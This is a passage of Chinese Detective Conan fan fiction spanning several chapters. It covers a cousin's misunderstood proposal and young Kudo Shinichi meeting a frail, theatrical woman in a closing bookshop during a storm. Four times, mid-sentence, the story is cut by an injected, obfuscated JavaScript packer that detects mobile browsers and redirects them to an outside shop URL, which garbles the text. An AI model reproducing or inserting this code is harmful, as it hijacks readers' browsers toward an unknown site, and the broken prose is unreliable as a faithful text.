长子生来就是要承担父母留下来的一切。 但景光还小,如果可以的话,他希望弟弟能远离痛苦和伤害,远离流言蜚语,获得平静祥和的人生。 以及,表妹的事他很抱歉。姑父姑母出于信任,把表妹交到了他家,他家却让表妹陷入了危险,他实在难辞其咎,没脸继续与她朝夕相处、看着她天真快乐的笑颜。 葬礼结束,姑父姑母带走了小景。不知道出于什么考量,他们没有走完整的手续、更改小景的户籍。这肯定会给他们带来很多的困扰,他们没说不意味着麻烦不存在。 无论如何,案件发生后的力挽狂澜、葬礼前后的尽心操持、多年前对怠惰的警方的施压、许久以来对小景的养育和照顾,都是他难以偿还的恩情。 娜娜17岁了,依然是个没长大的孩子。可她的过家家范围,已经不再局限于她的那间娃娃屋了。 如果有人需要为她更大范围的过家家,改变人生的重大规划,而且往后的余生都要围绕着她行动,诸伏高明宁可那个人是他。 他愿意学习姑父对姑母、父亲对母亲那样体贴细致、无微不至的关爱,至死不渝。 “你在说什么啊高明哥?”孩子气的表妹脸上没有半分害羞或喜悦,只有纯然的困惑,“为什么要和你结婚?” 摔在门口叠猫猫的诸伏景光和降谷零无声无息地挪动成跪坐的姿势,尽量降低存在感地旁听现场。他们比望月七宫的脸可红多了。 诸伏高明有点意外望月七宫的反应,他确认了一下,反问道: “娜娜不是想当新娘子吗?” 望月七宫痛快地点头,她的眼睛还是那么明亮: “对啊。” ……对什么啊? 诸伏高明摸不清情况,难道小表妹其实有了心仪对象?他旁敲侧击道: “那,娜娜想给谁当新娘子?” 望月七宫的反应像是他又说了句她听不懂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007696|194083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的古语,看看他,又去看两个小伙伴,头顶简直冒出了一个摞一个的大小问号。 两个小伙伴神情复杂地望着她:他们的幼驯染怕不是傻掉了。 没能从场外嘉宾那里得到提示,望月七宫只好亲自动动脑子想一想,把高明哥莫名其妙的求婚和求婚前后发生的所有事想了一遍,还是没想出个所以然,干脆直接问吧: “什么给谁当新娘子?谁啊?” 诸伏高明让她问懵了,一时没反应过来。更熟悉她的诸伏景光倒是理解了她的意思,翻译道: “哥哥,娜娜姐好像没打算和谁结婚……” 诸伏高明思考中。 降谷零扶额,进一步解释: “这家伙根本就是想穿穿她提名的那些豪华婚服,扮演‘新娘’,体验好几种不同风格的婚礼,过过‘今天我是全世界最美的人’的瘾!重点不是‘新郎是谁’、甚至不一定要有新郎。她都管‘孩子’叫‘子民’了,哪里是打算结婚的样子。” 望月七宫没弄懂诸伏高明在疑惑什么——多显而易见啊,连总是摸不着头脑、在那里胡说八道的小野猫都能看出来、还难得地说了人话。 她的眼神过于明显了,降谷零锋利的目光切过去,不满地嚷嚷: “你那是什么在看智商低地的眼神?” 望月七宫估摸着她哥她弟都在,降谷零一打三肯定打不过,抱起手臂,昂起头,用下巴看降谷零: “我猜你不愿意跟我结婚对不对?” 降谷零吃下了她的嘲讽,他对上望月七宫时彼此好像完全不能免疫激将法,不高兴地跳起来,让她不得不仰视: “是又怎么样?” 望月七宫伸手一指,得意地下令: “就他了!我就喜欢看他不愿意的样子!高明哥,Hiro,抓住他!” 降谷零撒腿就跑,一溜烟地冲出去。诸伏高明不为所动。诸伏景光0.25倍速地点头微笑、从容起身、整理衣服、迈步出门、拉上门扇、前往玄关…… 要是按照这种效率行动,降谷零游过太平洋、对岸登陆那天,诸伏景光说不定刚刚穿完第二只鞋,鞋带的结还要再花时间打好。 望月七宫没有追,也不怎么在意降谷零的逃跑,双手叉腰,猖狂大笑。发现诸伏高明不赞同的眼神,她收敛了一些,改为猖狂小笑。 降谷零回头好几次都没见有人追出来,越跑越慢,还是没人追。快跑到家的时候下起了零星小雨,冰冷的雨丝落在了他的眼泪,很不舒服。 他愤愤地想,再和那个不坑他一下浑身难受的缺德幼驯染多说一句话,他就是小狗! 有人敲门。 他出去开门,发现高明哥租的车停在他家门口,放下两个人后开走。Hiro打着伞,幼驯染中最可恶的那个抱着一本《鸽群中的猫》,高高兴兴地递给他: “你落下了东西在我家,挑书的时候还在说‘决定这就是我的睡前读物了’,结果转眼就忘了。你是什么‘Zero鱼’吗?” 降谷零没说话,也没有马上接过,表情变化莫测。 望月七宫没察觉到空气里的气氛变化,以为他在为了忘东西闹别扭,把书往他怀里一塞,招呼诸伏景光: “送到了,走啦,回家回家。” 诸伏景光摆出了“我没有笑、我一点都没有笑”的表情,瞥了降谷零一眼,用力抿着嘴,走在望月七宫身边,一起离开。 一高一矮的身影走出去十几步,望月七宫抖了抖耳朵,侧头听了会儿,问道: “你有没有听到Zero突然‘汪’了一声?” 诸伏景光回过头,稍稍放大了音量: “Zero,娜娜姐让我问你有没有在‘汪’!” 降谷家的门“砰”的一下!被甩上了。 望月七宫回了下头,什么异常都没看出来,把这件事放在一边,吐槽消失在视野里的小伙伴: “他怎么像个乱发脾气的小狗?忘了东西还要跟门生气,门又没有忘东西。” 诸伏景光含笑点头,心想可不是嘛,肯定有小狗跟自己赌气来着,你没看出来罢了。 “不管他了,快回家吧。天气预报说明天台风要来,我们还得把玻璃都贴上米字格呢。” “好哦。你说……要是明天台风过境的时候,在身上绑几个风筝,能飞起来吗?” “能不能飞起来不知道,但一定能荣获达尔文奖。” “那还是别了吧。‘蠢蠢的死法’奖项一点都不适合我。要是非死不可的话,我一定要死得轰轰烈烈,最好连猫头鹰星都能听到我的声音。” “不许说这样的话,你答应过我。” “哼哼哼哼。” 11.第 11 章 第11章变成女鬼的娜娜姐 “突如其来的暴风骤雨”怎么想都该是夏天的专利,发生在仲秋之际可真让人困扰。 11岁的工藤新一不幸遇到了台风过境后卷土重来的暴雨天气,浑身湿透,不得不闯入路边最近的一座陈旧凋敝的木制二层町屋。 来不及仔细观察,眼角余光一扫而过的画面,让他迅速解读到了大量信息: 建筑风格——这座町屋的大致重建于四五十年前、与一场街道失火有关;门外招牌与招贴画——目前的用途是书店;浑浊的玻璃与滞涩的门轴合页——它经营不善、濒临破产。 迎宾的小铃铛发出不太清脆的响声,室内装潢老旧过时,屋顶上的灯具颜色昏黄,室内弥漫着一股陈旧墨水、纸张发霉、灰尘混合在一起的那种、老房子特有的气味。 还有与某种宗教关联性很强的幽幽檀香。 破旧书店内部经历过现代的舒适化改造,也都旧了。木质地板到处堆放着古旧的书籍,顶天立地的高大书架上空了大半,露出难看的褪色墙纸。这里应该到了最后的清场阶段。 书架与书架之间的过道很窄,还摆着一架和书店一样破破烂烂的小梯子,冷冷清清,没有客人。 工藤新一站在门口专为这种天气摆放的纸板“地毯”上,衣摆下缘滴滴答答地流着水,没有往里走。 柜台的位置离门口有几步路,陈年摆放的小花盆和摆件留下的焦黄凹痕沁入了玻璃底下,一张手写的“本店将于十五夜闭店,衷心感谢多年惠顾”告示贴在那里,截止时间是明天。 柜台后坐着一位白发苍苍的老太太,鼻梁上很低的位置戴着一副金丝边的老花镜,手里拿着一本针织类的图册,柜台上摆着编到一半的钩针珠串,似乎是个什么动物玩偶。 老太太年纪很大了,看到他进来,缓缓露出一个慈祥的微笑——满口整齐的真牙,基本保持了介于“洁白”和“象牙白”之间的颜色,和蔼可亲: “哦哟,这是谁家的小哥,怎么湿成了这样?” 她慢慢悠悠地从椅子背上拽出一块小毛毯,手撑着柜台,站起来,隔空递给工藤新一。工藤新一虽然是个臭屁的小学生,倒也没不礼貌到让善意帮助他的老人干等着,赶紧迎上去接过道谢。 狂风大作,大雨倾盆,窗外的街景漆黑如墨,老式日光灯噼啪闪烁两下,熄灭了。 咚的一声,重物落地。书店幽暗的深处传来年轻女性的惊呼,声音细微,似哭泣又似惊惶,却一闪而逝。 工藤新一的眼睛竖了起来:他好像嗅到了案件的气息,去看看吧。 他已经不再滴水,将小毛毯还给老太太,小声问她借了手电筒。 老太太这里没有他想要的东西,好像也没听到书架尽头的动静,保持着她一贯的超慢节奏,摇了摇头,在柜台抽屉里翻找许久,找出来大半根颜色已经发黄的陈旧蜡烛。 工藤新一耐着性子等她继续翻找能点亮蜡烛的火源,又等了半天,书店深处都没声音了,老太太才颤颤巍巍地摸出一盒可能诞生于大正年间、表面花色和字迹都磨秃了的火柴——她还定定地凝视着火柴盒,流露出几分怀念的神色。 小学生的耐心相当有限,工藤新一心中着急,依然记得确认清楚这盒火柴是不是准备借给他用的:要是有重大的纪念意义,他摸黑去探查“鬼哭”来源其实也行。 老太太慢吞吞地点头,笑容愈发慈祥: “这盒火柴还是我姑娘小时候停电还坚持要写作业去买的呢,那时她就跟你似的这么大。拿去吧。” 她动作慢,说话也慢。工藤新一好不容易等她同意,告罪一声半接半夺地拿过火柴,嗤的一下擦燃,凑到焦黑的烛芯前。 烛芯萎缩,蜡油融化的特殊气味升起,幽幽的橙色小火苗驱散了浓重的黑暗,鼻梁和眼镜框的阴影让老太太看上去有点吓人。 工藤新一小心地护着烛光,前往刚才发出异响的地点。 老太太不管他,连一句“小心着火”的叮嘱都没有,自顾自地把小毛毯摊开,铺在柜台上晾干。 电闪雷鸣,水声隆隆,小小的町屋简直要随着外面的世界一起倾覆,书架与书架隔出来的狭窄走廊尽头,听不见任何动静。 啪嗒,啪嗒。 小学生的脚步俨然是天塌地陷之间、唯一的人类之音。 烛光摇曳,书架上沉默的书籍与书籍之间的空缺,沿着逆着橙色火光的方向,投出长长的、不规则的影子,影子没入房室的黑暗里,书架尽头俨然不属人间。 工藤新一虽然有着敏锐的洞察力,可没那么多愁善感,他的视角很简单:他只是端着蜡烛走到刚才“鬼哭”的地点,什么都没发现。 这种町屋改造的店铺营业面积一般都不会很大,通往别的房间的门也都关着,他来的路上没听到任何门页移动的声音,所以“鬼哭地”绕了一圈,换一条书架走廊回去老太太那边。 等一下! 不对。 木质地板走动时那种咯吱咯吱的声音,是不是与他发出的动静同步、变成了二重奏? 有着绝对音感的音痴小学生猛地抬头,目光迅速扫过又高又长的书架,在某一处空缺的位置,他发现了一张狸猫的笑脸! 幽幽檀香的气味变浓了。 笑面狸猫一闪即逝,工藤新一快步绕回,奔跑间烛光不稳,整个房间都在颤动,而他拐到能直面笑面狸猫的位置时,那里依然什么都没有。 这个世界上不存在鬼神,那些都是宗教或文艺作品虚构出来的!到底是谁在装神弄鬼? 工藤新一的目光再次逡巡于仿佛漆黑山峦的书架之间,烛火下移,他注意到有一处书架的底层是空的,小孩子完全可以钻过去当捷径。 他趴跪在地上,侧头往书架另一边观察,准备就这样穿越捷径。爬到一半的时候,忽然一股冷风,从他背后吹来。 呜咽的鬼哭,简直贴着他的鼓膜响起。 蜡烛毫无意外地熄灭了,檀香冲淡了蜡油的糊味,工藤新一毫不犹豫地蜷身回缩,伸手抓住蹲在他身后的那个家伙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17011911|194083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的衣服,钻出书架。 到底是大白天,就算室外雨势正大、室内采光很差,也不至于伸手不见五指。 工藤新一隐约可以看到那家伙的轮廓:一个细高挑的女人,穿着布料厚实的黑色长裙,肩膀上搭着带流苏的披肩,胳膊上绑着笑面狸猫面具的带子,手里还拿着本书。 他抓住的是那个女人的裙角。 她的皮肤冷得惊人。 但依然是人类可以有的温度。低体温者罢了。 工藤新一想要在暗光下分辨她的鞋子是否能做到“木质地板上跑动不发声”,却听到她恶人先告状的抱怨: “你这孩子拿着火到处乱跑什么?吓死我了!听到声音找不到人,还以为闹鬼了呢!” 讲道理,谁更像鬼啊! 门口的老太太笑呵呵地替工藤新一说话: “啊呀,小孩子嘛,淘气点儿好,淘气点儿健康。我们家的娜娜酱,小时候比这孩子淘气一百倍。” 黑衣女拽着工藤新一往柜台走,工藤新一察觉到她的手臂异常的细,很容易挣脱,也很容易受伤,姑且按兵不动,看她究竟想做什么。 远离房间深处、回到玻璃旁边,光线好多了。老太太把火柴盒递给黑衣女,黑衣女放开工藤新一,转交火柴盒给他,转到柜台后面跟老太太撒娇: “几点了啊天都这么黑了?我刚才看书睡着了,这家伙是七音姐的孩子吗?七音姐呢?没看到她呀。” 工藤新一重新点亮蜡烛,老太太就着光看了一眼手表,表情有些僵硬: “三点了。娜娜酱还没孩子,她说今天中午十一点的飞机,和对象一起回来。就算被雨耽误了,也早该到了。” 黑衣女站直了身体,语气严肃了不少: “问过航空公司了吗?会不会是飞机晚点?” 老太太懊恼地摇头: “刚刚中午准备打电话去问,发现电话线被老鼠咬断了,还没来得及修。” 黑衣女隔着玻璃看了看外面的暴风骤雨,把披肩盖在头上,一咬牙冲了出去。街区里有电话亭,这么大的风,打不打伞没什么区别,干脆就这样去吧。 她冲得太快,老太太手脚又慢,没能拦住她,好不容易找到柜子底下的厚重雨衣,抓了一把零钱,还有写了航司名称及电话的小卡片,病笃乱投医地请求眼前的小孩子: “她身体不好不能着凉,也没有带零钱的习惯,小朋友,能不能帮婆婆把雨衣送过去?拜托了,剩下的钱都归你。” 工藤新一不在乎这点儿钱,忙还是很乐意帮的。他痛快地答应下来,打开雨衣罩住自己,追着急性子的黑衣女跑出去。 风大雨大,视野受限,但他好歹不是老弱病残,跑到电话亭还是不难的。 难的是绷住别在这么紧急的情况下气笑: 那个黑衣女可能体重过轻,顺着风超高速抵达电话亭,还没拉住门把手就又顺着风飞出去了,此刻正在艰难地抱着树,临时挡雨的披肩早没影了。 这都是什么事啊! 12.第 12 章 第12章改名换姓的娜娜姐 11岁的工藤新一个子将将一米五,体重在同龄人里属于平均水平,不被大风吹飞他已经很努力了,去营救黑衣女简直是要拼命。 拉住黑衣女的手臂,他再次意识到这位女士的体态之不健康——握别人的手腕,适用的描述是“握”或“攥”,她最适用的大概是“捏”,他可是小学生啊! 他真的很怕带黑衣女转移时不小心把她的手臂扭断,只好抱住她的腰,在暴雨中大声喊道: “跟我去电话亭,做得到吗?” 黑衣女抱着树感受风力大小,觉得大概安全了,稍微松开一只手,揽住小学生的肩膀找一个可移动的锚点,咬牙切齿地回答: “走吧!不是说台风已经离开了吗?这种歪风妖风是哪里来的?” 这谁知道啊。 一大一小艰难但是顺利地进入了电话亭,关上玻璃门的一瞬间,同时松了口气。 黑衣女下意识抱起手臂,比起“防备姿态”,更符合“维持体核温度”:她有点克制不住发抖,应该是很怕冷的那种人。 工藤新一脱下沉重的雨衣,她接过来盖在身上,为了转移“身体不适”的注意力,没话找话: “谢谢你啦小朋友,你还挺靠谱的嘛。叫什么名字?” 工藤新一挺胸抬头,比了个自信满满的手势: “我是工藤新一,未来会成为日本的福尔摩斯的男人!” 黑衣女拢紧雨衣,她仍然在发抖,脸色青白,嘴唇乌紫,偏偏笑容灿烂,让人很容易忽视她的虚弱,只注意到她的阳光爽朗。她竖起双手拇指,赞许道: “了不起!我是莲佛七叶,松涛山听梵院的神之子,天之音聆听者,全部猫科动物的女王,猫头鹰与天空的统治者,与撒旦掰手腕胜出之人,随同地藏菩萨自赛河原归来之女,三途河折返游泳比赛冠军,森林与灌木的守护者,牢笼破出者,初雪降生,千种药物服用而不死者,古代铭文克星,线形文字破解者,现代的鸠摩罗什!” 不知道究竟是什么神秘的力量,支撑着工藤新一完整地倾听了这一段贯口,直到最后一连串他根本听不懂的陌生发音结束,不可名状的异响在他脑内隆隆回荡,他才打了个寒颤,敬畏地注视着这位口齿便给的女性: 到底从哪里开始是她的名字?又到哪里为止结束?哪部分是地名?哪部分是人名?哪部分是称号?哪部分是敕封?为什么里面混入了天文地理、社科人文、动物世界、宗教偶像、传奇巨擘、个人经历等多重复杂元素? 他一针见血地指出作为小学生,最容易理解也最容易发现破绽的地方: “可是大姐姐,你没有竖在头顶的尖耳、没有覆盖全身的三层毛发、没有翅膀、没有翎羽,也没有尾巴,不是猫也不是猫头鹰呀。” 莲佛七叶大惊失色,她捂住胸口退了两步,靠在电话亭的玻璃墙上,颤声道: “你是Zero的私生子吗?今年多大啦?长得一点都看不出来像你爸爸呢。” 什么私生子!谁是私生子!他和他爸爸长得非常像好吗! 工藤新一对莲佛七叶一句话就给他找了个在野的爹的无礼行为非常不满,抗辩道: “我今年11岁!我爸爸是推理小说家工藤优作,我妈妈是他妻子,我是合法婚生的孩子!不认识你说的‘Zero’是谁!”更不能是他的私生子。 莲佛七叶掐指一算,讪笑道歉: “不好意思啦新一酱,非常抱歉,你刚才的反应和我一个失联多年的朋友小时候一模一样,他今年23岁,应该生不出你这么大的孩子哈哈哈……” 工藤新一盛怒之下还记得没有刻意提起他妈妈的名字,作为曾经的现象级巨星,尽管有希子早已退役多年,仍然有不少她的影迷还记得她,其中一部分对她结婚生子这件事不能接受,采取过过激行动。 他们还有要紧的正事要做,这一节小风波以工藤新一接受道歉快速略过,他交出写着电话号码和航班号的卡片给莲佛七叶,无语地发现这位听起来很厉害的大姐姐果然没带钱,书店的老婆婆对她可真了解啊。 挂断航司电话,莲佛七叶的神色十分凝重:机场那边没有风雨,航班按照预期时间落地,全体乘客安全抵达后自行离去。 强对流天气一般不会持续很久,她这通电话还没打完,外面云销雨霁,半下午的太阳抽空露了个面。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17031280|194083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞机十一点落地,七音姐正常应该一点钟到这里,三点了还没到,这肯定不对。她在日本熟人不多,多半还是有恩怨的那种,没有见面优先度在濑见婆婆之前的存在……我先报个警吧。” 报警也得濑见婆婆来,濑见婆婆才是亲属,莲佛七叶与水鸟七音无亲无故,没人听她的。 失踪者是一对成年的外国男女,失联时间远不到24小时,又没有明显的犯罪迹象,又赶上了恶劣天气,警方根本不重视,没有指责濑见婆婆老糊涂了就不错了。 该走的流程都走了,派出的基层警察是位带新人的巡查长,他的态度十分端正,挑不出来任何可以投诉的问题,但谁都知道指望不上他会去实际做点什么。 他倒是给老太太备案了寻人请求,可那并不是正式的失踪登记。 莲佛七叶和工藤新一都多看了两眼巡查长带的新人,新人两道粗眉,人高马大,要是个变成布偶皮套,里面能把他们俩打包塞进去还有富余。 他好像对他外貌的凶恶心里十分有数,面对群众时,尽量收敛了对巡查长的糊弄事产生的微妙情绪,和颜悦色地半蹲下说话: “女士,小弟弟,请不要担心,我们警察会对每一位民众负责,令姐及其男友的下落,我们一定会仔细追查的。” 工藤新一看他是觉得他眼熟,似乎在哪里遇到过。莲佛七叶可能单纯觉得他长得吓人,记住他的名字是“伊达航”,提前谢过,没说什么。 警察们推着自行车离开,按说工藤新一作为热心小朋友,多管闲事管到这里,早就够意思了,他还有一事不明: “七叶姐姐,你的名字发音不是‘マロニエ(maronie)’吗?濑见婆婆为什么管你也叫‘娜娜酱’?” 莲佛七叶揪心着水鸟七音失踪的事,摸了摸他的头,随口回答: “我的名字汉字写作‘七叶’,数字‘七’的‘七’,‘树叶’的‘叶’。‘七叶’连在一起是一种树,总有人望文生义拆开了念,‘娜娜’就是这么来的。” 工藤新一恍然大悟,原来又是人名常见的特殊读法的锅。好奇心得到满足,告辞离去。 莲佛七叶望着他的背影,幽幽地叹了口气。 13.第 13 章 第13章神出鬼没的娜娜姐 回家路上的工藤新一捡到了莲佛七叶的披肩。 托曾经是大明星的母亲的福,他就算说不出来布料的具体名字,也能分辨出材质好坏。 莲佛七叶的披肩不是顶奢,应该也不便宜。没有logo和商标,应该是私人订制,没有华而不实的设计,核心理念就是“轻、软、暖”。 她在书店里披着的时候给他的感觉确实明显非常轻,保暖效果也好,此刻它吸饱了水,异常沉重,多半是纯度很高的山羊绒。 他对那位大姐姐没什么多余的感情,不过到底刚刚认识,还没有像忘记许多路人甲一样迅速遗忘她。 “畏寒的女鬼”在生活中不常见,印象在他脑内尚且鲜明,朴素的正义让他把披肩拧了一把水,决定原路返回,送还给她。 回来的时候,书店里多了个陌生男人,是个四四方方的魁梧男人,颇有一些意式风情——特指南意的地方特色家族产业着装风格,不含甜言蜜语讨女孩子欢心的部分。 一身黑色西装,深色衬衣,黑色领带,黑色礼帽,光线不好的停电的室内还戴着黑色的墨镜,这也太标准化“我是坏人!”了吧? 这位坏人哥在干什么呢?在蹬着梯子检修日光灯。 濑见书店没有手电筒,莲佛七叶举着蜡烛,聊胜于无地给他增加了一些光照度。濑见婆婆也没闲着,在帮忙扶住和整个书店一样年久失修的梯子,防止坏人哥掉下来。 发现工藤新一去而复返,莲佛七叶的眼睛亮了起来: “鱼塚桑,你身上带钱了吗?我忘带了,明天还你。让那个小孩去买个手电筒来吧,烛光好晃眼啊。” 鱼塚“哦”了一声,可能和她一样认为烛火不方便,脖子和肩膀夹住修理工具,从口袋里摸出来个钱包,掏五百円想要地给她,但梯子上下的高度悬殊,那样就站不稳了,只好扔给她。 莲佛七叶态度非常自然,就像吩咐自家亲弟弟一样理直气壮: “劳驾跑个腿儿,速去速回,剩下的给你当零花,不够再找我要。” 工藤新一没有兄弟姐妹,不过和睦的家庭里的小孩子,多少也替父母去过便利店。莲佛七叶的不见外,奇异的并不惹人讨厌,他莫名其妙地感觉她肯定会跟有希子很谈得来。 一去一回打个转,莲佛七叶已经放下了手臂不再高举,鱼塚站在梯子上与她闲聊,以吐槽为主: “你这次偷跑出来,大哥很生气,和我分头出来找你,你不是很怕他吗,怎么还这么悠闲、还有心情管一个破产老太婆家灯不亮?” 莲佛七叶冷哼着别过头去,她挑重点小声bb: “谁怕他了!他一拳下来就得跪在那里求我不要死好吗?” 工藤新一想,她是嫁了个家暴男吗?家暴男的小弟似乎和她关系不错,两个人能开这种死亡主题的玩笑。 鱼塚的观察能力略为普通,没注意到重归此处的小学生,有点好笑地继续吐槽: “这不明明就是怕得不行!快跟我回去吧,在别人发现之前回去,别等事闹大,找大哥道个歉,他不会把你怎么样的。” 莲佛七叶还是哼哼唧唧的不乐意: “大不了扣钱啊!扣我考勤啊!我才不回去——他把以前的食堂大厨开除了,今天新招来的这个做的是饭吗?喂给流浪狗都会被小动物保护协会投诉虐待!” 工藤新一修正了刚才的错误猜想,原来不是家庭内部暴力,而是员工和人事的矛盾。 ↑小学生缺乏社会经历,对公司内部运作和人际关系不甚了解,全靠想当然。 鱼塚好声好气地劝她: “大哥说要是找到你了,你还不听话,就把你绑回去。绑着怪难受的,你这体格又这样,别任性了啊。” ??? 正常的人事会这么对员工说话吗? 莲佛七叶考虑了一下,眼尖看见了正在门口假装刚到的工藤新一,隔着玻璃跟他招手: “快进来!手电筒来了。这样吧,这家书店的书我都喜欢,要是有人给我全拉回去放在我的宿舍里,说不定我就能原谅上个月的加班工时全都计算错误、还请来了能用饭菜谋害无辜食客的杀人大厨的破事。” 鱼塚面对濑见婆婆,就没有这么平和的语气了,他凶恶地喊道: “喂老太婆,你这里的书……” 工藤新一点亮手电筒,推开门,老旧的铃铛发出不清脆的声音。 他的动作没有干扰到鱼塚放狠话,打断鱼塚的是莲佛七叶提高了音量的威胁: “——按店长的标价照付!钱从我工资里出,不够就扣成负数,反正又不是没出现过‘辛辛苦苦干一年,到头核算倒欠钱’的情况,不然我就算死在这里也不会回去的!” 工藤新一的手电筒照亮了她,钨丝灯泡投射出昏黄的暖光,却无法分享给她一点温暖,她看上去苍白憔悴,俨然一具依靠惯性尚在活动的尸体。 鱼塚也被她的雪肤乌唇吓了一跳,倒吸一口凉气,差点从梯子上掉下来: “你别死啊!你死了大哥怎么办?他才刚接管、接管……接管人事部主任的宝座,不能损失你这样的技术骨干,千万别死!老太太,你这里的书一共多少钱?多少部?要多久能打包完?我马上雇人拉走。” ……贵司的人际关系真扑朔迷离啊。 工藤新一不懂他们怎么能讲地狱笑话讲得这么行云流水,这是什么特别的企业文化吗? 他从濑见婆婆与鱼塚的讨价还价对话里听出来了,莲佛七叶和濑见婆婆今天才第一次见面,让他错觉她们很熟是因为莲佛七叶这个人特别自来熟,谁和她对话超过三回合,都能让不明真相的另外一人以为那是多年老友在寒暄。 鱼塚修完了灯,和濑见婆婆商谈好了搬书的事,摆出一副“你的条件我都完成了,你总没话说了吧”的邀功脸,再次谈起载着翘班的莲佛七叶回公司的事。 这次莲佛七叶没再找新的借口,得意地接过工藤新一还给她的披肩,又湿又重又冷的大件布料入怀,压得她重心不稳晃了一下,鱼塚伸手扶她,她没让,凭借自己的力量站直,跟他去了街区外面的停车处。 他们消失在了工藤新一的视野里,工藤新一找仍然在望着那个方向的濑见婆婆确认: “您和七叶姐姐真的是第一次见面吗?” 濑见婆婆叹了口气,缓缓颔首,慢慢悠悠地说: “是呀。我和这孩子真是投缘,就像前生认识的友人总算相见一般,有着说不完的话。” 工藤新一看不出来她的表情和眼神里存在说谎迹象,可是不太对。 哪有人第一次见面,就熟知对方的外孙女的详细信息、或者熟知对方性情急躁丢三落四的小毛病? 工藤新一的套话技巧还很稚嫩,他兜了个圈子说: “七叶姐姐和七音姐姐素未谋面吗?她真的很为七音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17036036|194083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐姐担心诶!” 濑见婆婆说话还是那么慢,这次她摇了摇头,直接回答了好心的好奇小学生真正想问的问题答案: “这个不知道哇。娜娜酱来到我这里,自报家门说是我们家的娜娜酱的笔友。老太婆我孤零零一个人,没什么好图的,来个聪明懂事的好孩子陪我聊天,她说什么就是什么吧。” 工藤新一意识到他的小技巧被人看破,脸上作烧,可他对真相的执著与探索欲超过了对“丢脸”的在意,坚持把他想要了解的信息问完: “那七音姐姐和她的男朋友……” 他想问“他们的失踪会不会和莲佛七叶有关”,濑见婆婆没有听他说完,扭头直视着他,透过老花镜,白眼球都已经发黄浑浊的那双眼睛,写满了直白的拒绝: “他们是来接我去美国的。早在好几年前,我们家的娜娜酱就不放心我一个人在日本了。我决定把老头子一辈子的心血、改造成书店、给它们找到识货的新主人,然后再接受孩子的好意。娜娜酱每年都会回来再劝我一次,今年我摔了一跤,出院以后身体大不如前,娜娜酱知道了,就说她会带对象一起来接我、去和她、和她妈妈团聚……” 长长的一段话,她越说越哽咽,吐字越来越不清晰。倾盖如故的莲佛七叶不是她的重点,她更在意的是只剩下她一个人以后,对故去的和远方的亲人的不幸,与她自己强行关联的灾难性思考。 工藤新一还没成长到可以理解“难道我是个妨害亲人子孙的灾星老不死吗”的念头的岁数,老太太的情绪感染了他,他不知道原理没关系,知道怎么让她感觉好一些就行。 干净漂亮懂事可爱的小孩子总是更容易让老人心软,他倚小卖小,滚进老太太的怀里抱住她,信誓旦旦地保证: “您这里的书我看到好几本特别喜欢的!我会明天再来的,说不定明天就有七音姐姐的消息了呢!” 濑见婆婆喜欢他的吉祥话,再不信鬼神的人,难过到了一定程度,也会愿意听一些没有根据的顺耳的话。她回忆片刻,指着书架深处,念出某个具体的方位: “娜娜酱喜欢波洛那种侦探,你喜欢耍酷、归纳演绎,是福尔摩斯的爱好者?去那边,有几本书还没有找到新主人,里面的《新探案》肯定合你的口味,要是还有别的带走了会珍视、会反复看的书,也都拿走吧。” 她没正面回应“明天见”的寒暄语,小学生工藤新一也没在意——这位老婆婆好像不喜欢社交辞令。 第二天是“十五夜”,又称为“月见节”,来自唐国的中秋节,阖家团聚的好日子。 工藤新一带着他的两位发小再来探望濑见婆婆时,只见这里人去楼空,门口挂着大大的锁,隔着玻璃能够看到里面杂乱的脚步和倒塌的空书架,像是很久没住过人的样子。 《新探案》还在他卧室的床头柜上,他刚看完了《狮鬃毛》,昨天发生的一切不可能是梦。 可是,人呢? 他去隔壁的店铺打探,隔壁是一家花店,店主告诉他们,昨天濑见婆婆的外孙女回来接她。她清空藏书后关了门,还给街坊邻居发了月见团子,哦哟真是享福啊…… 是这样吗?完美结局、HE落幕了吗? 空落落的感觉让想要成为侦探的小学生无法适从,他的两位发小把这场集体出行当成了他吹嘘夸大的寻宝探险,各有感慨。 